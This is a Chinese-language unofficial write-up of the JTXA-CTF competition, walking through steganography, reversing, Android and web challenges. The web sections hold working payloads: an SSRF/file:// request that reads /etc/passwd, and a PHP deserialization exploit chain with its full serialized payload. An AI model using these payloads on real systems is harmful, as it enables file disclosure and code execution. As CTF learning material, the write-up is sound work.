kir[A]'s 小黑屋

JTXA-CTF

字数统计: 2.7k阅读时长: 15 min
2019/11/04 Share

JTXA-CTF 非官方writeup

官方版还没发布,吃瓜群众版writeup先行发布,超详细的。

0x1 好像没有什么思路

0x2 好像没有什么思路2

也略

0x3 Caesar

继续略

0x4 babyRSA

这题还是略

0x5 SSTI

没环境,略

0x6 这是什么

提取zip包,我直接WinRAR打开都没提示加密,解压后是Base64隐写,直接脚本跑就好了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
def get_base64_diff_value(s1, s2):
base64chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
res = 0
for i in xrange(len(s2)):
if s1[i] != s2[i]:
return abs(base64chars.index(s1[i]) - base64chars.index(s2[i]))
return res

def solve_stego():
with open('./Wh4t_1s_th1s.txt', 'rb') as f:
file_lines = f.readlines()
bin_str = ''
for line in file_lines:
steg_line = line.replace('\n', '')
norm_line = line.replace('\n', '').decode('base64').encode('base64').replace('\n', '')
diff = get_base64_diff_value(steg_line, norm_line)
pads_num = steg_line.count('=')
if diff:
bin_str += bin(diff)[2:].zfill(pads_num * 2)
else:
bin_str += '0' * pads_num * 2
res_str = ''
for i in xrange(0, len(bin_str), 8):
res_str += chr(int(bin_str[i:i+8], 2))
print res_str

solve_stego()

0x7 ok

brainfuck,略

0x8 reverse me!

程序要求输入账号和密码,要root密码正确才能进行加密功能,以下是加密函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
_BOOL8 __fastcall sub_400DCA(const char *a1)
{
unsigned int i; // [rsp+1Ch] [rbp-64h]
__int64 v3; // [rsp+20h] [rbp-60h]
__int64 v4; // [rsp+28h] [rbp-58h]
__int64 v5; // [rsp+30h] [rbp-50h]
int v6; // [rsp+38h] [rbp-48h]
char v7; // [rsp+3Ch] [rbp-44h]
char s1[8]; // [rsp+40h] [rbp-40h]
__int64 v9; // [rsp+48h] [rbp-38h]
__int64 v10; // [rsp+50h] [rbp-30h]
__int64 v11; // [rsp+58h] [rbp-28h]
unsigned __int64 v12; // [rsp+68h] [rbp-18h]

v12 = __readfsqword(0x28u);
v3 = '_emolceW';
v4 = 'rever_ot';
v5 = 'llahc_es';
v6 = 'egne';
v7 = 0;
*(_QWORD *)s1 = 0LL;
v9 = 0LL;
v10 = 0LL;
v11 = 0LL;
for ( i = 0; i < strlen(a1); ++i )
s1[i] = *((_BYTE *)&v3 + i) ^ a1[i];
return strcmp(s1, s2) == 0;
}

简单xor,可以直接计算出密码。注意s2的长度为31,不够需要补\x00

1
2
3
a = '_emolceW'[::-1]+'rever_ot'[::-1]+'llahc_es'[::-1]+'egne'[::-1]
a = a.ljust(31,'\x00')
print ''.join( chr(Byte(0x401110+i)^ord(a[i])) for i in range(len(a)) )

加密函数会打开flag.txt,然后用输入的密码生成一个key,再进行加密运算(著名逆向高手刘大神说是一个标准RC4)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
unsigned __int64 __fastcall sub_400BDD(const char *passwd)
{
unsigned __int64 passwd_len; // rax
signed int i; // [rsp+14h] [rbp-42Ch]
FILE *stream; // [rsp+18h] [rbp-428h]
unsigned __int64 flag_len; // [rsp+20h] [rbp-420h]
FILE *v6; // [rsp+28h] [rbp-418h]
char key[256]; // [rsp+30h] [rbp-410h]
char v8[256]; // [rsp+130h] [rbp-310h]
char flag; // [rsp+230h] [rbp-210h]
unsigned __int64 v10; // [rsp+438h] [rbp-8h]

v10 = __readfsqword(0x28u);
memset(key, 0, sizeof(key));
memset(v8, 0, sizeof(v8));
memset(&flag, 0, 0x200uLL);
fwrite("hello root user\n", 1uLL, 0x10uLL, stdout);
stream = fopen("./flag.txt", "r");
if ( stream )
{
fgets(&flag, 512, stream);
flag_len = strlen(&flag);
fclose(stream);
passwd_len = strlen(passwd);
init_key((__int64)key, (__int64)passwd, passwd_len);
for ( i = 0; i <= 255; ++i )
v8[i] = key[i];
encrypt((__int64)key, (__int64)&flag, flag_len);
v6 = fopen("./enc.txt", "w");
if ( v6 )
{
fprintf(v6, "%s\n", &flag);
fclose(v6);
}
else
{
puts("Open Failed.");
}
}
else
{
puts("Open Failed.");
}
return __readfsqword(0x28u) ^ v10;
}

查看encrypt,实际上涉及flag的运算只有最后一步的异或,因此无需逆算法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
v6 = 0;
v7 = 0;
for ( i = 0LL; ; ++i )
{
result = i;
if ( i >= a3 )
break;
v6 = (unsigned __int8)(((unsigned int)((v6 + 1) >> 31) >> 24) + v6 + 1) - ((unsigned int)((v6 + 1) >> 31) >> 24);
v3 = (unsigned int)((v7 + *(unsigned __int8 *)(v6 + key)) >> 31) >> 24;
v7 = (unsigned __int8)(v3 + v7 + *(_BYTE *)(v6 + key)) - v3;
v4 = *(_BYTE *)(v6 + key);
*(_BYTE *)(key + v6) = *(_BYTE *)(v7 + key);
*(_BYTE *)(key + v7) = v4;
*(_BYTE *)(flag + i) ^= *(_BYTE *)((unsigned __int8)(*(_BYTE *)(v6 + key) + *(_BYTE *)(v7 + key)) + key);
}

只要将题目提供的enc.txt改名成flag.txt,然后进行一次加密,结果就出来了。

0x9 Mix

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
package com.ctf.mix;

import android.os.Bundle;
import android.support.v7.app.AppCompatActivity;
import android.view.View$OnClickListener;
import android.view.View;
import android.widget.EditText;
import android.widget.Toast;

public class MainActivity extends AppCompatActivity implements View$OnClickListener {
EditText et;
String pw;

public MainActivity() {
super();
this.pw = null;
this.et = null;
}

public void onClick(View arg6) {
Toast v0;
if(arg6.getId() != 0x7F070022) {
return;
}

this.pw = this.et.getText().toString();
int v1 = 17;
if(this.pw.isEmpty()) {
v0 = Toast.makeText(this.getApplicationContext(), "NO", 1);
v0.setGravity(v1, 0, 0);
v0.show();
return;
}

if(ctfmix.verify(this.pw.trim())) {
v0 = Toast.makeText(this.getApplicationContext(), "YES", 1);
v0.setGravity(v1, 0, 0);
v0.show();
return;
}

v0 = Toast.makeText(this.getApplicationContext(), "NO", 1);
v0.setGravity(v1, 0, 0);
v0.show();
}

protected void onCreate(Bundle arg2) {
super.onCreate(arg2);
this.setContentView(0x7F09001C);
this.et = this.findViewById(0x7F070037);
this.findViewById(0x7F070022).setOnClickListener(((View$OnClickListener)this));
}
}

跟进ctfmix.verify(this.pw.trim())

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
package com.ctf.mix;

import java.util.Arrays;

public class ctfmix {
static byte[] ciphtext;

static {
ctfmix.ciphtext = new byte[]{-43, -108, -35, -112, -35, -119, -120, -28, -64, -55, -115, -111, -112, -55, -112, -44, -40, -52, -32, -44, -60, -43, -124, -36, -59, -115, -112, -52, -32, -32, -63, -116};
}

public ctfmix() {
super();
}

private static byte[] change(byte[] arg5) {
int v4;
int v0 = 0;
int v1 = arg5.length;
int v2 = arg5[0] >> 6;
while(true) {
v4 = 4;
if(v0 >= v1 - 1) {
break;
}

arg5[v0] = ((byte)(v4 * arg5[v0] & 0xFF | arg5[v0 + 1] >> 6));
++v0;
}

arg5[v1 - 1] = ((byte)(v4 * arg5[v1 - 1] & 0xFF | v2));
return arg5;
}

public static boolean verify(String arg4) {
if(arg4.endsWith("}")) {
if(!arg4.startsWith("ctf{")) {
}
else if(Arrays.equals(ctfmix.change(arg4.substring(4, arg4.length() - 1).getBytes()), ctfmix.ciphtext)) {
return 1;
}
else {
return 0;
}
}

return 0;
}
}

函数先检查输入的开头和结尾,熟悉的flag格式ctf{},然后中间的字符再进入change函数验证。

关键代码是:

1
arg5[v0] = ((byte)(4 * arg5[v0] & 0xFF | arg5[v0 + 1] >> 6));

这串运算相当于吧arg5[v0]左移两位,然后把下一个字符arg5[v0+1]的高两位放到arg5[v0]的低两位。因此逆运算只要把整串字符串二进制循环右移两位即可。

1
2
3
4
5
6
7
a = [-43, -108, -35, -112, -35, -119, -120, -28, -64, -55, -115, -111, -112, -55, -112, -44, -40, -52, -32, -44, -60, -43, -124, -36, -59, -115, -112, -52, -32, -32, -63, -116]

m = ''.join([bin(x%256)[2:] for x in a])
# print m

flag = m[-2:] + m[:-2]
print hex(int(flag,2))[2:-1].decode('hex')

0xA welcome

0xB babyROP

这是抄X-man入门系列的吧,略。

0xC notfound

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
# -*- coding:utf-8 -*-
from flask import Flask, session , Request ,Response,request
import socket
import urllib
import urllib.request
from socket import inet_aton
from struct import unpack

# import urllib.error


app = Flask(__name__)


@app.route('/')
def index():
return '<title>404 not found</title><h1>Not found!</h1><script>alert("Oops! somethis wrong!")</script>'

@app.route('/robots.txt')
def routes():
return open(__file__).read()


@app.route('/getpar',methods=['GET','POST'])
def getpaar():
if request.method == 'GET':
info = request.args['cc']
try:
file_info = getinfos(info)
m = gets(file_info)
return m
except Exception as e:
print(e)
return 'Error'
else:
return "no foud"


# get a strong  defense from SSRF
def changeip(url):
try:
if is_inner_ipaddress(url):
ip = ""
return ip
except Exception as e:
pass
ip = socket.gethostbyname(url)
return ip



def gets(info):
if type(info) == str:
try:
ip = changeip(info)
url = 'http://' + ip
res = urllib.request.urlopen(url).read()
return res
except Exception as e:
return 'Oops'
elif type(info) == list:
try:
ip = changeip(info[0])
url = "http://" + ip
res = urllib.request.urlopen(url).read()
return res
except Exception as e:
return "Oops"
elif type(info) == dict:
try:
ip = info['url']
ip = changeip(ip)
path = info['path'] if 'path' in info.keys() else ''
url = info['http'] + ip + path
res = urllib.request.urlopen(url).read()
return res
except Exception as e:
return "Oops"
# juge it is class
else:
try:
import pickle,builtins, io
s = pickle.dumps(info)
res = pickle.loads(s)
return res
except Exception as e:
return "Oops"


def getinfos(param):
black_type_list = ['import','eval', 'execfile', 'compile', 'open', 'os.system', 'os.popen','socket','socketserver',
'os.popen2', 'os.popen3', 'os.popen4', 'os.fdopen', 'os.tmpfile', 'os.fchmod',
'os.fchown', 'os.open', 'os.openpty', 'os.read', 'os.pipe', 'os.chdir', 'os.fchdir',
'os.chroot', 'os.chmod', 'os.chown', 'os.link', 'os.lchown', 'os.listdir', 'os.lstat',
'os.mkfifo', 'os.mknod', 'os.access', 'os.mkdir', 'os.makedirs', 'os.readlink', 'os.remove',
'os.removedirs', 'os.rename', 'os.renames', 'os.rmdir', 'os.tempnam', 'os.tmpnam',
'os.unlink', 'os.walk', 'os.execl', 'os.execle', 'os.execlp', 'os.execv', 'os.execve',
'os.dup', 'os.dup2', 'os.execvp', 'os.execvpe', 'os.fork', 'os.forkpty', 'os.kill',
'os.spawnl', 'os.spawnle', 'os.spawnlp', 'os.spawnlpe', 'os.spawnv', 'os.spawnve',
'os.spawnvp', 'os.spawnvpe', 'pickle.load', 'pickle.loads', 'cPickle.load',
'cPickle.loads', 'subprocess.call', 'subprocess.check_call', 'subprocess.check_output',
'subprocess.Popen', 'commands.getstatusoutput', 'commands.getoutput',
'commands.getstatus', 'glob.glob', 'linecache.getline', 'shutil.copyfileobj',
'shutil.copyfile', 'shutil.copy', 'shutil.copy2', 'shutil.move', 'shutil.make_archive',
'dircache.listdir', 'dircache.opendir', 'io.open', 'popen2.popen2', 'popen2.popen3',
'popen2.popen4', 'timeit.timeit', 'timeit.repeat', 'sys.call_tracing', 'code.interact',
'code.compile_command', 'codeop.compile_command', 'pty.spawn, posixfile.open',
'posixfile.fileopen']
for evils in black_type_list:
if evils in param:
return None
# get something
try:
param = eval(param)
except:
pass
return param

def ip2long(ip_addr):
return unpack("!L", inet_aton(ip_addr))[0]

def is_inner_ipaddress(ip):
ip = ip2long(ip)
return ip2long('127.0.0.0') >> 24 == ip >> 24 or \
ip2long('10.0.0.0') >> 24 == ip >> 24 or \
ip2long('172.16.0.0') >> 20 == ip >> 20 or \
ip2long('192.168.0.0') >> 16 == ip >> 16 or \
ip2long('0.0.0.0') >> 24 == ip >> 24


if __name__ == '__main__':
app.run(debug= False, host = '0.0.0.0')

流程:首先通过get读取参数cc,然后调用getinfos执行eval,赋值给file_info,不过黑名单过滤很全,不能直接执行命令。之后进入gets函数,判断file_info类型进行urlopen打开链接,注意到如果类型为dict时,info['http']我们可控,因此读入一个字典可以进行ssrf。

最终payload:

1
http://127.0.0.1/getpar?cc={'url':'127.0.0.1','path':'/etc/passwd','http':'file://'}

0xD 好长的一个大串

0xE babyphp

通过文件包含可以读到题目源码。

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
@ini_set('open_basdir', '/var/www/html');
error_reporting(0);
$static = 1;
$file =$_GET['file'];
$payload = $_GET["payload"];
if(!isset($file)){
die();
}
if(preg_match("/flag/i", $file)){
echo 'flag{This_is_Fake_flag}';
exit();
}
@include($file);
if(isset($payload)){
$url = parse_url($_SERVER["REQUEST_URI"]);
parse_str($url['query'], $query);
foreach ($query as $key => $value) {
if(@preg_match("/flag/i", $value)){
die("no no no ");
exit();
}
}
$payload = unserialize($payload);
}
else{
exit();
}

class Application{
public $pathinfo;
public $aaa;
public $bbb;
public function __destruct(){
$GLOBALS['static'] = 0;
$this->aaa = md5(rand(1,10000));
if($this->aaa===$this->bbb){
$this->pathinfo = unserialize($this->pathinfo);
}
}
}
?>

info.php

1
2
3
<?php
// 此处省略448行
?>

info.php代码量巨大,但实际上有用的并不多。简单看了一下代码,基本可以确定考点是反序列化。把有用的代码提取出来,这样容易看点。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
<?php
class Application{
public $pathinfo;
public $aaa;
public $bbb;
public function __destruct(){
$GLOBALS['static'] = 0;
$this->aaa = md5(rand(1,10000));
if($this->aaa===$this->bbb){
$this->pathinfo = unserialize($this->pathinfo);
}
}
}

class info{
private $_params = array();
private $_filter = array();

public function __destruct()
{
$staic = $GLOBALS['static'];
if($static) exit();
$content = $this->source;
return $content;
}

public function __get($key)
{
return $this->get($key);
}

public function get($key, $default = NULL)
{
switch (true) {
case isset($this->_params[$key]):
$value = $this->_params[$key];
break;
case isset(self::$_httpParams[$key]):
$value = self::$_httpParams[$key];
break;
default:
$value = $default;
break;
}

$value = !is_array($value) && strlen($value) > 0 ? $value : $default;
return $this->_applyFilter($value);
}

private function _applyFilter($value)
{
if ($this->_filter) {
foreach ($this->_filter as $filter) {
if(@preg_match('/system|eval|assert|call_user_func|exec|array_map|usort|uasort|create_funtion/i', $filter)) exit();
$value = is_array($value) ? array_map($filter, $value) :
var_dump(call_user_func($filter, $value));
}
$this->_filter = array();
}

return $value;
}
}

整条反序列化链基本就出来了,简单流程就是:

  1. index.php中先触发Application的反序列化,因为info中会检查全局变量$GLOBALS['static']
  2. Application中再触发info的反序列化
  3. $content = $this->source触发调用类的__get()方法
  4. __get()会调用get(),对value进行赋值
  5. 最后调用_applyFilter($value),此函数中call_user_func可执行命令

以下是exp代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
class Application{
public $pathinfo;
public $aaa;
public $bbb;
function __construct($o){
$this->bbb = &$this->aaa;
$this->pathinfo = $o;
}
}

class info{
private $_params = array();
private $_filter = array();
function __construct(){
$this->_params = array('source' => '/flag');
$this->_filter = array('show_source');
}
}

$b = new info();
$a = new Application(serialize($b));
echo urlencode(serialize($a));

parse_url函数在解析url时存在的bug ,通过:///x.php?key=value的方式可以使其返回False

最终payload:

1
http://127.0.0.1///index.php?file=info.php&payload=O%3A11%3A%22Application%22%3A3%3A%7Bs%3A8%3A%22pathinfo%22%3Bs%3A117%3A%22O%3A4%3A%22info%22%3A2%3A%7Bs%3A13%3A%22%00info%00_params%22%3Ba%3A1%3A%7Bs%3A6%3A%22source%22%3Bs%3A5%3A%22%2Fflag%22%3B%7Ds%3A13%3A%22%00info%00_filter%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A11%3A%22show_source%22%3B%7D%7D%22%3Bs%3A3%3A%22aaa%22%3BN%3Bs%3A3%3A%22bbb%22%3BR%3A3%3B%7D

0xF sqli

参考强网杯的随便注,同样是堆叠注入,编码或者字符串拼接绕过过滤即可。

0x10 隐藏的用户名

脑洞题,没环境,略。

CATALOG
  1. 1. JTXA-CTF 非官方writeup
    1. 1.1. 0x1 好像没有什么思路
    2. 1.2. 0x2 好像没有什么思路2
    3. 1.3. 0x3 Caesar
    4. 1.4. 0x4 babyRSA
    5. 1.5. 0x5 SSTI
    6. 1.6. 0x6 这是什么
    7. 1.7. 0x7 ok
    8. 1.8. 0x8 reverse me!
    9. 1.9. 0x9 Mix
    10. 1.10. 0xA welcome
    11. 1.11. 0xB babyROP
    12. 1.12. 0xC notfound
    13. 1.13. 0xD 好长的一个大串
    14. 1.14. 0xE babyphp
    15. 1.15. 0xF sqli
    16. 1.16. 0x10 隐藏的用户名